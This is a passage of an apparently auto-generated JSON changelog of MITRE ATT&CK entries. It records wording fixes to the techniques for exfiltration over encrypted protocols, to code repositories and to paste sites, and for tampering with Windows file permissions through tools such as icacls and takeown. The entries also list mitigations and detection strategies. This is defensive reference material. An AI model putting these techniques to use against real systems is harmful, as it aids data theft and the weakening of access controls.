nowrap=\"nowrap\">utilize&nbsp;symmetric&nbsp;encryption&nbsp;once&nbsp;keys&nbsp;are&nbsp;exchanged,&nbsp;but&nbsp;ad</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">utilize&nbsp;symmetric&nbsp;encryption&nbsp;once&nbsp;keys&nbsp;are&nbsp;exchanged,&nbsp;but&nbsp;ad</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">versaries&nbsp;may&nbsp;opt&nbsp;to&nbsp;manually&nbsp;share&nbsp;keys&nbsp;and&nbsp;implement&nbsp;symme</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">versaries&nbsp;may&nbsp;opt&nbsp;to&nbsp;manually&nbsp;share&nbsp;keys&nbsp;and&nbsp;implement&nbsp;symme</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tric&nbsp;cryptographic&nbsp;algorithms&nbsp;(ex:&nbsp;RC4,&nbsp;AES)&nbsp;vice&nbsp;using&nbsp;mech</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tric&nbsp;cryptographic&nbsp;algorithms&nbsp;(ex:&nbsp;RC4,&nbsp;AES)&nbsp;vice&nbsp;using&nbsp;mech</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">anisms&nbsp;that&nbsp;are&nbsp;baked&nbsp;into&nbsp;a&nbsp;protocol.&nbsp;This&nbsp;may&nbsp;result&nbsp;in&nbsp;mu</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">anisms&nbsp;that&nbsp;are&nbsp;baked&nbsp;into&nbsp;a&nbsp;protocol.&nbsp;This&nbsp;may&nbsp;result&nbsp;in&nbsp;mu</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ltiple&nbsp;layers&nbsp;of&nbsp;encryption&nbsp;(in&nbsp;protocols&nbsp;that&nbsp;are&nbsp;natively&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ltiple&nbsp;layers&nbsp;of&nbsp;encryption&nbsp;(in&nbsp;protocols&nbsp;that&nbsp;are&nbsp;natively&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">encrypted&nbsp;such&nbsp;as&nbsp;HTTPS)&nbsp;or&nbsp;encryption&nbsp;in&nbsp;protocols&nbsp;that&nbsp;<span class=\"diff_chg\">not</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">encrypted&nbsp;such&nbsp;as&nbsp;HTTPS)&nbsp;or&nbsp;encryption&nbsp;in&nbsp;protocols&nbsp;that&nbsp;<span class=\"diff_chg\">are</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">&nbsp;typically&nbsp;encrypted</span>&nbsp;(such&nbsp;as&nbsp;HTTP&nbsp;or&nbsp;FTP).&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">&nbsp;not&nbsp;typically&nbsp;encrypted</span>&nbsp;(such&nbsp;as&nbsp;HTTP&nbsp;or&nbsp;FTP).&nbsp;</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1030: Network Segmentation",
                            "M1031: Network Intrusion Prevention",
                            "M1037: Filter Network Traffic"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0503: Behavioral Detection Strategy for Exfiltration Over Symmetric Encrypted Non-C2 Protocol"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--86a96bf6-cf8b-411c-aaeb-8959944d64f7",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-03-09 14:51:11.772000+00:00",
                    "modified": "2026-11-04 03:27:23.463000+00:00",
                    "name": "Exfiltration to Code Repository",
                    "description": "Adversaries may exfiltrate data to a code repository rather than over their primary command and control channel. Code repositories are often accessible via an API (ex: https://api.github.com). Access to these APIs is often over HTTPS, which gives the adversary an additional level of protection.\n\nExfiltration to a code repository can also provide a significant amount of cover to the adversary if it is a popular service already used by hosts within the network. ",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "exfiltration"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1567/001",
                            "external_id": "T1567.001"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "ESXi",
                        "Linux",
                        "macOS",
                        "Windows"
                    ],
                    "x_mitre_version": "1.2",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 03:27:23.463000+00:00\", \"old_value\": \"2026-05-12 15:12:00.686000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may exfiltrate data to a code repository rather than over their primary command and control channel. Code repositories are often accessible via an API (ex: https://api.github.com). Access to these APIs is often over HTTPS, which gives the adversary an additional level of protection.\\n\\nExfiltration to a code repository can also provide a significant amount of cover to the adversary if it is a popular service already used by hosts within the network. \", \"old_value\": \"Adversaries may exfiltrate data to a code repository rather than over their primary command and control channel. Code repositories are often accessible via an API (ex: https://api.github.com). Access to these APIs are often over HTTPS, which gives the adversary an additional level of protection.\\n\\nExfiltration to a code repository can also provide a significant amount of cover to the adversary if it is a popular service already used by hosts within the network. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Adversaries may exfiltrate data to a code repository rather than over their primary command and control channel. Code repositories are often accessible via an API (ex: https://api.github.com). Access to these APIs are often over HTTPS, which gives the adversary an additional level of protection.\\n+Adversaries may exfiltrate data to a code repository rather than over their primary command and control channel. Code repositories are often accessible via an API (ex: https://api.github.com). Access to these APIs is often over HTTPS, which gives the adversary an additional level of protection.\\n \\n Exfiltration to a code repository can also provide a significant amount of cover to the adversary if it is a popular service already used by hosts within the network. \"}}}",
                    "previous_version": "1.2",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to95__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to95__0\"><a href=\"#difflib_chg_to95__top\">t</a></td><td class=\"diff_header\" id=\"from95_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;exfiltrate&nbsp;data&nbsp;to&nbsp;a&nbsp;code&nbsp;repository&nbsp;rather&nbsp;</td><td class=\"diff_next\"><a href=\"#difflib_chg_to95__top\">t</a></td><td class=\"diff_header\" id=\"to95_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;exfiltrate&nbsp;data&nbsp;to&nbsp;a&nbsp;code&nbsp;repository&nbsp;rather&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">than&nbsp;over&nbsp;their&nbsp;primary&nbsp;command&nbsp;and&nbsp;control&nbsp;channel.&nbsp;Code&nbsp;re</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">than&nbsp;over&nbsp;their&nbsp;primary&nbsp;command&nbsp;and&nbsp;control&nbsp;channel.&nbsp;Code&nbsp;re</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">positories&nbsp;are&nbsp;often&nbsp;accessible&nbsp;via&nbsp;an&nbsp;API&nbsp;(ex:&nbsp;https://api.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">positories&nbsp;are&nbsp;often&nbsp;accessible&nbsp;via&nbsp;an&nbsp;API&nbsp;(ex:&nbsp;https://api.</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">github.com).&nbsp;Access&nbsp;to&nbsp;these&nbsp;APIs&nbsp;<span class=\"diff_chg\">are&nbsp;often&nbsp;over</span>&nbsp;HTTPS,&nbsp;whic</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">github.com).&nbsp;Access&nbsp;to&nbsp;these&nbsp;APIs&nbsp;<span class=\"diff_chg\">is&nbsp;often&nbsp;over</span>&nbsp;HTTPS,&nbsp;which</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">h&nbsp;gives&nbsp;the&nbsp;adversary&nbsp;an&nbsp;additional&nbsp;level&nbsp;of&nbsp;protection.&nbsp;&nbsp;Ex</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;gives&nbsp;the&nbsp;adversary&nbsp;an&nbsp;additional&nbsp;level&nbsp;of&nbsp;protection.&nbsp;&nbsp;Exf</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">filtration&nbsp;to&nbsp;a&nbsp;code&nbsp;repository&nbsp;can&nbsp;also&nbsp;provide&nbsp;a&nbsp;significa</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">iltration&nbsp;to&nbsp;a&nbsp;code&nbsp;repository&nbsp;can&nbsp;also&nbsp;provide&nbsp;a&nbsp;significan</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nt&nbsp;amount&nbsp;of&nbsp;cover&nbsp;to&nbsp;the&nbsp;adversary&nbsp;if&nbsp;it&nbsp;is&nbsp;a&nbsp;popular&nbsp;servi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;amount&nbsp;of&nbsp;cover&nbsp;to&nbsp;the&nbsp;adversary&nbsp;if&nbsp;it&nbsp;is&nbsp;a&nbsp;popular&nbsp;servic</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ce&nbsp;already&nbsp;used&nbsp;by&nbsp;hosts&nbsp;within&nbsp;the&nbsp;network.&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;already&nbsp;used&nbsp;by&nbsp;hosts&nbsp;within&nbsp;the&nbsp;network.&nbsp;</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1021: Restrict Web-Based Content"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0318: Detection Strategy for Exfiltration to Code Repository"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--ba04e672-da86-4e69-aa15-0eca5db25f43",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2023-02-27 22:51:27.101000+00:00",
                    "modified": "2026-11-04 03:27:51.749000+00:00",
                    "name": "Exfiltration to Text Storage Sites",
                    "description": "Adversaries may exfiltrate data to text storage sites instead of their primary command and control channel. Text storage sites, such as <code>pastebin[.]com</code>, are commonly used by developers to share code and other information.  \n\nText storage sites are often used to host malicious code for C2 communication (e.g., [Stage Capabilities](https://attack.mitre.org/techniques/T1608)), but adversaries may also use these sites to exfiltrate collected data. Furthermore, paid features and encryption options may allow adversaries to conceal and store data more securely.(Citation: Pastebin EchoSec)\n\n**Note:** This is distinct from [Exfiltration to Code Repository](https://attack.mitre.org/techniques/T1567/001), which highlights access to code repositories via APIs.",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "exfiltration"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1567/003",
                            "external_id": "T1567.003"
                        },
                        {
                            "source_name": "Pastebin EchoSec",
                            "description": "Ciarniello, A. (2019, September 24). What is Pastebin and Why Do Hackers Love It?. Retrieved April 11, 2023.",
                            "url": "https://web.archive.org/web/20201107203304/https://www.echosec.net/blog/what-is-pastebin-and-why-do-hackers-love-it"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Harun K\u00fc\u00dfner",
                        "David Zakson"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Linux",
                        "macOS",
                        "Windows",
                        "ESXi"
                    ],
                    "x_mitre_version": "1.1",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 03:27:51.749000+00:00\", \"old_value\": \"2025-04-15 19:59:01.716000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may exfiltrate data to text storage sites instead of their primary command and control channel. Text storage sites, such as <code>pastebin[.]com</code>, are commonly used by developers to share code and other information.  \\n\\nText storage sites are often used to host malicious code for C2 communication (e.g., [Stage Capabilities](https://attack.mitre.org/techniques/T1608)), but adversaries may also use these sites to exfiltrate collected data. Furthermore, paid features and encryption options may allow adversaries to conceal and store data more securely.(Citation: Pastebin EchoSec)\\n\\n**Note:** This is distinct from [Exfiltration to Code Repository](https://attack.mitre.org/techniques/T1567/001), which highlights access to code repositories via APIs.\", \"old_value\": \"Adversaries may exfiltrate data to text storage sites instead of their primary command and control channel. Text storage sites, such as <code>pastebin[.]com</code>, are commonly used by developers to share code and other information.  \\n\\nText storage sites are often used to host malicious code for C2 communication (e.g., [Stage Capabilities](https://attack.mitre.org/techniques/T1608)), but adversaries may also use these sites to exfiltrate collected data. Furthermore, paid features and encryption options may allow adversaries to conceal and store data more securely.(Citation: Pastebin EchoSec)\\n\\n**Note:** This is distinct from [Exfiltration to Code Repository](https://attack.mitre.org/techniques/T1567/001), which highlight access to code repositories via APIs.\", \"diff\": \"--- \\n+++ \\n@@ -2,4 +2,4 @@\\n \\n Text storage sites are often used to host malicious code for C2 communication (e.g., [Stage Capabilities](https://attack.mitre.org/techniques/T1608)), but adversaries may also use these sites to exfiltrate collected data. Furthermore, paid features and encryption options may allow adversaries to conceal and store data more securely.(Citation: Pastebin EchoSec)\\n \\n-**Note:** This is distinct from [Exfiltration to Code Repository](https://attack.mitre.org/techniques/T1567/001), which highlight access to code repositories via APIs.\\n+**Note:** This is distinct from [Exfiltration to Code Repository](https://attack.mitre.org/techniques/T1567/001), which highlights access to code repositories via APIs.\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}, \"iterable_item_added\": {\"root['x_mitre_contributors'][1]\": \"David Zakson\"}}",
                    "previous_version": "1.1",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to97__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to97__0\"><a href=\"#difflib_chg_to97__top\">t</a></td><td class=\"diff_header\" id=\"from97_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;exfiltrate&nbsp;data&nbsp;to&nbsp;text&nbsp;storage&nbsp;sites&nbsp;instea</td><td class=\"diff_next\"><a href=\"#difflib_chg_to97__top\">t</a></td><td class=\"diff_header\" id=\"to97_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;exfiltrate&nbsp;data&nbsp;to&nbsp;text&nbsp;storage&nbsp;sites&nbsp;instea</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;of&nbsp;their&nbsp;primary&nbsp;command&nbsp;and&nbsp;control&nbsp;channel.&nbsp;Text&nbsp;storage</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;of&nbsp;their&nbsp;primary&nbsp;command&nbsp;and&nbsp;control&nbsp;channel.&nbsp;Text&nbsp;storage</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;sites,&nbsp;such&nbsp;as&nbsp;&lt;code&gt;pastebin[.]com&lt;/code&gt;,&nbsp;are&nbsp;commonly&nbsp;us</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;sites,&nbsp;such&nbsp;as&nbsp;&lt;code&gt;pastebin[.]com&lt;/code&gt;,&nbsp;are&nbsp;commonly&nbsp;us</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ed&nbsp;by&nbsp;developers&nbsp;to&nbsp;share&nbsp;code&nbsp;and&nbsp;other&nbsp;information.&nbsp;&nbsp;&nbsp;&nbsp;Tex</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ed&nbsp;by&nbsp;developers&nbsp;to&nbsp;share&nbsp;code&nbsp;and&nbsp;other&nbsp;information.&nbsp;&nbsp;&nbsp;&nbsp;Tex</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;storage&nbsp;sites&nbsp;are&nbsp;often&nbsp;used&nbsp;to&nbsp;host&nbsp;malicious&nbsp;code&nbsp;for&nbsp;C2</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;storage&nbsp;sites&nbsp;are&nbsp;often&nbsp;used&nbsp;to&nbsp;host&nbsp;malicious&nbsp;code&nbsp;for&nbsp;C2</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;communication&nbsp;(e.g.,&nbsp;[Stage&nbsp;Capabilities](https://attack.mi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;communication&nbsp;(e.g.,&nbsp;[Stage&nbsp;Capabilities](https://attack.mi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tre.org/techniques/T1608)),&nbsp;but&nbsp;adversaries&nbsp;may&nbsp;also&nbsp;use&nbsp;the</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tre.org/techniques/T1608)),&nbsp;but&nbsp;adversaries&nbsp;may&nbsp;also&nbsp;use&nbsp;the</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">se&nbsp;sites&nbsp;to&nbsp;exfiltrate&nbsp;collected&nbsp;data.&nbsp;Furthermore,&nbsp;paid&nbsp;fea</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">se&nbsp;sites&nbsp;to&nbsp;exfiltrate&nbsp;collected&nbsp;data.&nbsp;Furthermore,&nbsp;paid&nbsp;fea</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tures&nbsp;and&nbsp;encryption&nbsp;options&nbsp;may&nbsp;allow&nbsp;adversaries&nbsp;to&nbsp;concea</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tures&nbsp;and&nbsp;encryption&nbsp;options&nbsp;may&nbsp;allow&nbsp;adversaries&nbsp;to&nbsp;concea</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">l&nbsp;and&nbsp;store&nbsp;data&nbsp;more&nbsp;securely.(Citation:&nbsp;Pastebin&nbsp;EchoSec)&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">l&nbsp;and&nbsp;store&nbsp;data&nbsp;more&nbsp;securely.(Citation:&nbsp;Pastebin&nbsp;EchoSec)&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;**Note:**&nbsp;This&nbsp;is&nbsp;distinct&nbsp;from&nbsp;[Exfiltration&nbsp;to&nbsp;Code&nbsp;Repos</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;**Note:**&nbsp;This&nbsp;is&nbsp;distinct&nbsp;from&nbsp;[Exfiltration&nbsp;to&nbsp;Code&nbsp;Repos</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">itory](https://attack.mitre.org/techniques/T1567/001),&nbsp;which</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">itory](https://attack.mitre.org/techniques/T1567/001),&nbsp;which</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;highlight<span class=\"diff_chg\">&nbsp;access&nbsp;to&nbsp;code&nbsp;repositories</span>&nbsp;via&nbsp;APIs.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;highlight<span class=\"diff_chg\">s&nbsp;access&nbsp;to&nbsp;code&nbsp;repositories</span>&nbsp;via&nbsp;APIs.</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1021: Restrict Web-Based Content"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0284: Detection Strategy for Exfiltration to Text Storage Sites"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--34e793de-0274-4982-9c1a-246ed1c19dee",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-02-04 19:17:41.767000+00:00",
                    "modified": "2026-11-04 03:19:45.906000+00:00",
                    "name": "Windows Permissions",
                    "description": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nWindows implements file and directory ACLs as Discretionary Access Control Lists (DACLs).(Citation: Microsoft DACL May 2018) Similar to a standard ACL, DACLs identify the accounts that are allowed or denied access to a securable object. When an attempt is made to access a securable object, the system checks the access control entries in the DACL in order. If a matching entry is found, access to the object is granted. Otherwise, access is denied.(Citation: Microsoft Access Control Lists May 2018)\n\nAdversaries can interact with the DACLs using built-in Windows commands, such as `icacls`, `cacls`, `takeown`, and `attrib`, which can grant adversaries higher permissions on specific files and folders. Further, [PowerShell](https://attack.mitre.org/techniques/T1059/001) provides cmdlets that can be used to retrieve or modify file and directory DACLs. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "defense-impairment"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1222/001",
                            "external_id": "T1222.001"
                        },
                        {
                            "source_name": "Hybrid Analysis Icacls1 June 2018",
                            "description": "Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.",
                            "url": "https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100"
                        },
                        {
                            "source_name": "Hybrid Analysis Icacls2 May 2018",
                            "description": "Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.",
                            "url": "https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110"
                        },
                        {
                            "source_name": "Microsoft Access Control Lists May 2018",
                            "description": "M. Satran, M. Jacobs. (2018, May 30). Access Control Lists. Retrieved February 4, 2020.",
                            "url": "https://docs.microsoft.com/en-us/windows/win32/secauthz/access-control-lists"
                        },
                        {
                            "source_name": "Microsoft DACL May 2018",
                            "description": "Microsoft. (2018, May 30). DACLs and ACEs. Retrieved August 19, 2018.",
                            "url": "https://docs.microsoft.com/windows/desktop/secauthz/dacls-and-aces"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows"
                    ],
                    "x_mitre_version": "2.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 03:19:45.906000+00:00\", \"old_value\": \"2026-09-11 19:58:37.542000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\\n\\nWindows implements file and directory ACLs as Discretionary Access Control Lists (DACLs).(Citation: Microsoft DACL May 2018) Similar to a standard ACL, DACLs identify the accounts that are allowed or denied access to a securable object. When an attempt is made to access a securable object, the system checks the access control entries in the DACL in order. If a matching entry is found, access to the object is granted. Otherwise, access is denied.(Citation: Microsoft Access Control Lists May 2018)\\n\\nAdversaries can interact with the DACLs using built-in Windows commands, such as `icacls`, `cacls`, `takeown`, and `attrib`, which can grant adversaries higher permissions on specific files and folders. Further, [PowerShell](https://attack.mitre.org/techniques/T1059/001) provides cmdlets that can be used to retrieve or modify file and directory DACLs. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).\", \"old_value\": \"Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\\n\\nWindows implements file and directory ACLs as Discretionary Access Control Lists (DACLs).(Citation: Microsoft DACL May 2018) Similar to a standard ACL, DACLs identifies the accounts that are allowed or denied access to a securable object. When an attempt is made to access a securable object, the system checks the access control entries in the DACL in order. If a matching entry is found, access to the object is granted. Otherwise, access is denied.(Citation: Microsoft Access Control Lists May 2018)\\n\\nAdversaries can interact with the DACLs using built-in Windows commands, such as `icacls`, `cacls`, `takeown`, and `attrib`, which can grant adversaries higher permissions on specific files and folders. Further, [PowerShell](https://attack.mitre.org/techniques/T1059/001) provides cmdlets that can be used to retrieve or modify file and directory DACLs. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), or tainting/hijacking other instrumental binary/configuration files via [Hijack 